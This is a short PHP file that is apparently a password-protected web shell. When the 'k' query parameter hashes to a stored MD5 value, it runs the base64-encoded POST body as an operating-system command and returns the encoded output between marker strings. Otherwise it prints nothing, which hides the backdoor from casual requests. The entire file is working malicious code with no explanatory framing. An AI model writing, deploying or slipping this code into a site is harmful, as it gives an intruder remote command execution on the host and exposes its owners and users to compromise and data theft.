<?php
if (isset($_GET['k']) && md5(base64_decode($_GET['k'])) === 'b8fdb52bae57c0ce9735eca98c164652') {
    function t($t) {
        return trim($t, " \n\r\t"); 
    }

    function p($c) {
        $d = array(
            0 => array('pipe', 'r'), 
            1 => array('pipe', 'w'), 
            2 => array('pipe', 'w')  
        );
        $p = proc_open($c, $d, $s); 
        if (is_resource($p)) {
            $o = stream_get_contents($s[1]); 
            fclose($s[0]); 
            fclose($s[1]); 
            fclose($s[2]); 
            proc_close($p); 
            return $o;
        }
        return false;
    }

    echo '#!#'; 
    $c = base64_decode(file_get_contents('php://input'));
    if ($c !== false) {
        $o = p($c); 
        if ($o !== false) {
            echo base64_encode(t($o)); 
        } else {
            echo 'EXEC_ERROR'; 
        }
    } else {
        echo 'REQUEST_ERROR'; 
    }
    echo '#$#'; 
} else {
    echo ''; 
}
?>